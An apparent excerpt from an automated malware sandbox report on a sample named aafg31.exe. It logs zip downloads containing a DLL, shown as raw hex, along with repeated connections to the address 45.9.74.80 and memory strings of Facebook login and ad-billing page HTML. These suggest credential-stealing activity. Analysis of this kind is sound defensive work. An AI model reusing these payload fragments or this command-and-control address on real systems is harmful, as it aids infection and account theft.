9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 28 May 2023 08:44:00 GMTContent-Type: application/zipContent-Length: 2685679Last-Modified: Mon, 12 Sep 2022 13:14:59 GMTConnection: keep-aliveETag: "631f30d3-28faef"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 24 56 25 55 2b 6d 5c 08 39 7c 05 00 50 75 0a 00 0b 00 00 00 66 72 65 65 62 6c 33 2e 64 6c 6c ec bd 0f 5c 54 e7 95 37 3e 97 19 61 d0 89 77 28 34 21 29 55 48 68 ab ad 4d e7 3a a6 91 48 13 8c 0c 90 c4 31 18 1c 35 bb 4e 62 ba d6 f5 75 f3 26 46 99 c4 76 33 2d 64 20 ce e3 75 5a 92 d5 d6 6e b5 75 df b2 5d f7 7d e9 bb b4 ab c4 b4 da cc 80 85 11 29 0c 4a 61 50 aa 24 a1 66 28 6c 3b 40 2a ff 52 e6 77 ce 79 ee 9d 19 40 52 b3 bf ee 2f ed ef b3 f9 44 e6 fe 7d 9e f3 9c e7 fc f9 9e f3 fc b9 d6 bf da ab 11 34 1a 8d 4e 33 fd bf 3c cd 1f ff 6f 2f fc 5b b8 f8 27 0b 35 27 92 7f 91 75 4a 58 fb 8b ac 0d 3b fe c7 9e cc 5d bb 9f fd db dd 4f fd cf cc bf 79 ea 99 67 9e 2d cd fc e2 97 32 77 3b 9e c9 fc 1f cf 64 e6 3f 5a 92 f9 3f 9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Sun, 28 May 2023 08:44:05 GMTContent-Type: application/zipContent-Length: 2685679Last-Modified: Mon, 12 Sep 2022 13:14:59 GMTConnection: keep-aliveETag: "631f30d3-28faef"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 24 56 25 55 2b 6d 5c 08 39 7c 05 00 50 75 0a 00 0b 00 00 00 66 72 65 65 62 6c 33 2e 64 6c 6c ec bd 0f 5c 54 e7 95 37 3e 97 19 61 d0 89 77 28 34 21 29 55 48 68 ab ad 4d e7 3a a6 91 48 13 8c 0c 90 c4 31 18 1c 35 bb 4e 62 ba d6 f5 75 f3 26 46 99 c4 76 33 2d 64 20 ce e3 75 5a 92 d5 d6 6e b5 75 df b2 5d f7 7d e9 bb b4 ab c4 b4 da cc 80 85 11 29 0c 4a 61 50 aa 24 a1 66 28 6c 3b 40 2a ff 52 e6 77 ce 79 ee 9d 19 40 52 b3 bf ee 2f ed ef b3 f9 44 e6 fe 7d 9e f3 9c e7 fc f9 9e f3 fc b9 d6 bf da ab 11 34 1a 8d 4e 33 fd bf 3c cd 1f ff 6f 2f fc 5b b8 f8 27 0b 35 27 92 7f 91 75 4a 58 fb 8b ac 0d 3b fe c7 9e cc 5d bb 9f fd db dd 4f fd cf cc bf 79 ea 99 67 9e 2d cd fc e2 97 32 77 3b 9e c9 fc 1f cf 64 e6 3f 5a 92 f9 3f 9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf

Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.74.80

Source: aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ","gk_instrument_object_url":true,"stack_trace_limit":30,"timesliceBufferSize":5000,"show_invariant_decoder":false,"compat_iframe_token":"AQ6iSpgOr5fQTsmSTo8","isCQuick":false});</script><script nonce="v6hVXULl">(function(a){function b(b){if(!window.openDatabase)return;b.I_AM_INCOGNITO_AND_I_REALLY_NEED_WEBSQL=function(a,b,c,d){return window.openDatabase(a,b,c,d)};window.openDatabase=function(){throw new Error()}}b(a)})(this);</script><style nonce="v6hVXULl"></style><script nonce="v6hVXULl">__DEV__=0;</script><noscript><meta http-equiv="refresh" content="0; URL=/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Log into Facebook</title><meta name="google" content="notranslate" /><meta name="description" content="Log into Facebook to start sharing and connecting with your friends, family, and people you know." /><meta property="og:site_name" content="Facebook" /><meta property="og:url" content="https://www.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" /><meta property="og:locale" content="en_US" /><link rel="canonical" href="https://www.facebook.com/login/web/" /><link rel="icon" href="https://static.xx.fbcdn.net/rsrc.php/yv/r/B8BxsscfVBr.ico" /><link type="text/css" rel="stylesheet" href="https://static.xx.fbcdn.net/rsrc.php/v3/yP/l/0,cross/6MB_F4yiWj8.css?_nc_x=Ij3Wp8lg5Kz" data-bootloader-hash="HLTHBFO" /> equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.642437211.000001E292240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: #star-mini.c10r.facebook.comwww.facebook.comPSAlrc equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.642437211.000001E292240000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: #star-mini.c10r.facebook.comwww.facebook.comfz8VF8 equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000002.618169870.000001E29016F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: #star-mini.c10r.facebook.comwww.facebook.comn equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.559711394.000001E2901A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: $$http://45.9.74.80/0bjdwww.facebook.com/ equals www.facebook.com (Facebook)
Source: aafg31.exe, 00000015.00000003.616407141.000001E2922D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: )</a></li><li><a role="button" class="_42ft _4jy0 _517i _517h _51sy" rel="dialog" ajaxify="/settings/language/language/?uri=https%3A%2F%2Fzh-cn.facebook.com%2Flogin.php%3Fnext%3Dhttps%253A%252F%252Fadsmanager.facebook.com%252Fads%252Fmanager%252Faccount_settings%252Faccount_billing%252F&source=www_list_selector_more" href="#" title="Show more languages"><i class="img sp_EP9wX8qDDvu sx_0de3e6"></i></a></li></ul><div id="contentCurve"></div><div id="pageFooterChildren" role="contentinfo" aria-label="Facebook site links"><ul class="uiList pageFooterLinkList _509- _4ki _703 _6-i"><li><a href="/reg/" title="Sign Up for Facebook">Sign Up</a></li><li><a href="/login/" title="Log into Facebook">Log In</a></li><li><a href="https://messenger.com/" title="Check out Messenger.">Messenger</a></li><li><a href="/lite/" title="Facebook Lite for Android.">Facebook Lite</a></li><li><a href="https://www.facebook.com/watch/" title="Browse our Watch videos.">Watch</a></li><li><a href="/places/" title="Check out popular places on Facebook.">Places</a></li><li><a href="/games/" title="Check out Facebook games.">Games</a></li><li><a href="/marketplace/" title="Buy and sell on Facebook Marketplace.">Marketplace</a></li><li><a href="https://pay.facebook.com/" title="Learn more about Meta Pay" target="_blank">Meta Pay</a></li><li><a href="https://www.meta.com/" title="Check out Meta" target="_blank">Meta Store</a></li><li><a href="https://www.meta.com/quest/" title="Learn more about Meta Quest" target="_blank">Meta Quest</a></li><li><a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.instagram.com%2F&h=AT0Y9zIysCrbJFCPFMlse-gnu3W6OP_sO2dsjqCIgGPDlGqle6Pq8kOh1pM3LGc_qoBc_JvYGTcC_aI2wUV6kMqf24x_kc0D-YeanjoTUCdBOM9bT_SKJdRe3aUc2iw_VtiKIZYeEOK7pfpnIAJsJHT8p1oD8-P6VzQ" title="Check out Instagram" target="_blank" rel="nofollow" data-lynx-mode="async">Instagram</a></li><li><a href="/fundraisers/" title="Donate to worthy causes.">Fundraisers</a></li><li><a href="/biz/directory/" title="Browse our Facebook Services directory.">Services</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">Voting Information Center</a></li><li><a href="/privacy/policy/?entry_point=facebook_page_footer" title="Learn how we collect, use and share information to support Facebook.">Privacy Policy</a></li><li><a href="/privacy/center/?entry_point=facebook_page_footer" title="Learn how to manage and control your privacy on Facebook.">Privacy Center</a></li><li><a href="/groups/discover/" title="Explore our Groups.">Groups</a></li><li><a href="https://about.meta.com/" accesskey="8" title="Read our blog, discover the resource center, and find job opportunities.">About</a></li><li><a href="/ad_campaign/landing.php?placement=pflo&campaign_id=402047449186&nav_source=unknown&extra_1=auto" title="Advertise on Facebook.">Create Ad</a></li><li><a href="/pages/create/?ref_type=site_footer" title="Create a page">Create Page</a></
Source: aafg31.exe, 00000015.00000003.592730628.000001E292381000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: )</a></li><li><a role="button" class="_42ft _4jy0 _517i _517h _51sy" rel="dialog" ajaxify="/settings/language/language/?uri=https%3A%2F%2Fzh-cn.facebook.com%2Flogin.php%3Fnext%3Dhttps%253A%252F%252Fadsmanager.facebook.com%252Fads%252Fmanager%252Faccount_settings%252Faccount_billing%252F&source=www_list_selector_more" href="#" title="Show more languages"><i class="img sp_EP9wX8qDDvu sx_0de3e6"></i></a></li></ul><div id="contentCurve"></div><div id="pageFooterChildren" role="contentinfo" aria-label="Facebook site links"><ul class="uiList pageFooterLinkList _509- _4ki _703 _6-i"><li><a href="/reg/" title="Sign Up for Facebook">Sign Up</a></li><li><a href="/login/" title="Log into Facebook">Log In</a></li><li><a href="https://messenger.com/" title="Check out Messenger.">Messenger</a></li><li><a href="/lite/" title="Facebook Lite for Android.">Facebook Lite</a></li><li><a href="https://www.facebook.com/watch/" title="Browse our Watch videos.">Watch</a></li><li><a href="/places/" title="Check out popular places on Facebook.">Places</a></li><li><a href="/games/" title="Check out Facebook games.">Games</a></li><li><a href="/marketplace/" title="Buy and sell on Facebook Marketplace.">Marketplace</a></li><li><a href="https://pay.facebook.com/" title="Learn more about Meta Pay" target="_blank">Meta Pay</a></li><li><a href="https://www.meta.com/" title="Check out Meta" target="_blank">Meta Store</a></li><li><a href="https://www.meta.com/quest/" title="Learn more about Meta Quest" target="_blank">Meta Quest</a></li><li><a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.instagram.com%2F&h=AT1YdDkScdA99k0UpE_m7A4RjlZGaZENHHpdW7Ll2nmUm_n8fEaFohaIosCFAPYSm-Mc-ndSajmkdmT0BSENF1516WSa3sR_0GXTJpXdA2fc04C03HO-vUUhtdtuEMW_lwzqsm9H8vX9avKgm60wDA" title="Check out Instagram" target="_blank" rel="nofollow" data-lynx-mode="asynclazy">Instagram</a></li><li><a href="/fundraisers/" title="Donate to worthy causes.">Fundraisers</a></li><li><a href="/biz/directory/" title="Browse our Facebook Services directory.">Services</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">Voting Information Center</a></li><li><a href="/privacy/policy/?entry_point=facebook_page_footer" title="Learn how we collect, use and share information to support Facebook.">Privacy Policy</a></li><li><a href="/privacy/center/?entry_point=facebook_page_footer" title="Learn how to manage and control your privacy on Facebook.">Privacy Center</a></li><li><a href="/groups/discover/" title="Explore our Groups.">Groups</a></li><li><a href="https://about.meta.com/" accesskey="8" title="Read our blog, discover the resource center, and find job opportunities.">About</a></li><li><a href="/ad_campaign/landing.php?placement=pflo&campaign_id=402047449186&nav_source=unknown&extra_1=auto" title="Advertise on Facebook.">Create Ad</a></li><li><a href="/pages/create/?ref_type=site_footer" title="Create a page">Create Page</a></li><li><a
Source: aafg31.exe, 00000015.00000003.560301255.000001E29229E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: )</a></li><li><a role="button" class="_42ft _4jy0 _517i _517h _51sy" rel="dialog" ajaxify="/settings/language/language/?uri=https%3A%2F%2Fzh-cn.facebook.com%2Flogin.php%3Fnext%3Dhttps%253A%252F%252Fadsmanager.facebook.com%252Fads%252Fmanager%252Faccount_settings%252Faccount_billing%252F&source=www_list_selector_more" href="#" title="Show more languages"><i class="img sp_EP9wX8qDDvu sx_0de3e6"></i></a></li></ul><div id="contentCurve"></div><div id="pageFooterChildren" role="contentinfo" aria-label="Facebook site links"><ul class="uiList pageFooterLinkList _509- _4ki _703 _6-i"><li><a href="/reg/" title="Sign Up for Facebook">Sign Up</a></li><li><a href="/login/" title="Log into Facebook">Log In</a></li><li><a href="https://messenger.com/" title="Check out Messenger.">Messenger</a></li><li><a href="/lite/" title="Facebook Lite for Android.">Facebook Lite</a></li><li><a href="https://www.facebook.com/watch/" title="Browse our Watch videos.">Watch</a></li><li><a href="/places/" title="Check out popular places on Facebook.">Places</a></li><li><a href="/games/" title="Check out Facebook games.">Games</a></li><li><a href="/marketplace/" title="Buy and sell on Facebook Marketplace.">Marketplace</a></li><li><a href="https://pay.facebook.com/" title="Learn more about Meta Pay" target="_blank">Meta Pay</a></li><li><a href="https://www.meta.com/" title="Check out Meta" target="_blank">Meta Store</a></li><li><a href="https://www.meta.com/quest/" title="Learn more about Meta Quest" target="_blank">Meta Quest</a></li><li><a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.instagram.com%2F&h=AT1zkQNodpydonjpZTJ2-JQcATQM63QJxgWWxqLH3BeMfgqOrKOXZJ-TRX4MoU-wuqFOn-PRgKK5KPdwt96F-9oMsY3W89Hi6cr-WzkCDAvkWavjXwSGsHqqBHbOAW5nwpdJzkTuIp3D4EdIglOkWQ" title="Check out Instagram" target="_blank" rel="nofollow" data-lynx-mode="asynclazy">Instagram</a></li><li><a href="/fundraisers/" title="Donate to worthy causes.">Fundraisers</a></li><li><a href="/biz/directory/" title="Browse our Facebook Services directory.">Services</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">Voting Information Center</a></li><li><a href="/privacy/policy/?entry_point=facebook_page_footer" title="Learn how we collect, use and share information to support Facebook.">Privacy Policy</a></li><li><a href="/privacy/center/?entry_point=facebook_page_footer" title="Learn how to manage and control your privacy on Facebook.">Privacy Center</a></li><li><a href="/groups/discover/" title="Explore our Groups.">Groups</a></li><li><a href="https://about.meta.com/" accesskey="8" title="Read our blog, discover the resource center, and find job opportunities.">About</a></li><li><a href="/ad_campaign/landing.php?placement=pflo&campaign_id=402047449186&nav_source=unknown&extra_1=auto" title="Advertise on Facebook.">Create Ad</a></li><li><a href="/pages/create/?ref_type=site_footer" title="Create a page">Create Page</a></li><li><a
Source: aafg31.exe, 00000015.00000003.535524540.000001E292293000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: )</a></li><li><a role="button" class="_42ft _4jy0 _517i _517h _51sy" rel="dialog" ajaxify="/settings/language/language/?uri=https%3A%2F%2Fzh-cn.facebook.com%2Flogin.php%3Fnext%3Dhttps%253A%252F%252Fadsmanager.facebook.com%252Fads%252Fmanager%252Faccount_settings%252Faccount_billing%252F&source=www_list_selector_more" href="#" title="Show more languages"><i class="img sp_EP9wX8qDDvu sx_0de3e6"></i></a></li></ul><div id="contentCurve"></div><div id="pageFooterChildren" role="contentinfo" aria-label="Facebook site links"><ul class="uiList pageFooterLinkList _509- _4ki _703 _6-i"><li><a href="/reg/" title="Sign Up for Facebook">Sign Up</a></li><li><a href="/login/" title="Log into Facebook">Log In</a></li><li><a href="https://messenger.com/" title="Check out Messenger.">Messenger</a></li><li><a href="/lite/" title="Facebook Lite for Android.">Facebook Lite</a></li><li><a href="https://www.facebook.com/watch/" title="Browse our Watch videos.">Watch</a></li><li><a href="/places/" title="Check out popular places on Facebook.">Places</a></li><li><a href="/games/" title="Check out Facebook games.">Games</a></li><li><a href="/marketplace/" title="Buy and sell on Facebook Marketplace.">Marketplace</a></li><li><a href="https://pay.facebook.com/" title="Learn more about Meta Pay" target="_blank">Meta Pay</a></li><li><a href="https://www.meta.com/" title="Check out Meta" target="_blank">Meta Store</a></li><li><a href="https://www.meta.com/quest/" title="Learn more about Meta Quest" target="_blank">Meta Quest</a></li><li><a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.instagram.com%2F&h=AT38aVvRX8oz7yN4It2ePYXV6WVfbq05c2tY2wakcHbib83a0NcvuDZw3RDPXRHHRkYsm8NlCnJiweZMlMJLX-rVNpAEW3tJ1vBJyG9DEIJ_quiKdYYx0uanQ31fHl7ToLOvwkeu7-ZzHAWZkOFIbA" title="Check out Instagram" target="_blank" rel="nofollow" data-lynx-mode="asynclazy">Instagram</a></li><li><a href="/fundraisers/" title="Donate to worthy causes.">Fundraisers</a></li><li><a href="/biz/directory/" title="Browse our Facebook Services directory.">Services</a></li><li><a href="/votinginformationcenter/?entry_point=c2l0ZQ%3D%3D" title="See the Voting Information Center.">Voting Information Center</a></li><li><a href="/privacy/policy/?entry_point=facebook_page_footer" title="Learn how we collect, use and share information to support Facebook.">Privacy Policy</a></li><li><a href="/privacy/center/?entry_point=facebook_page_footer" 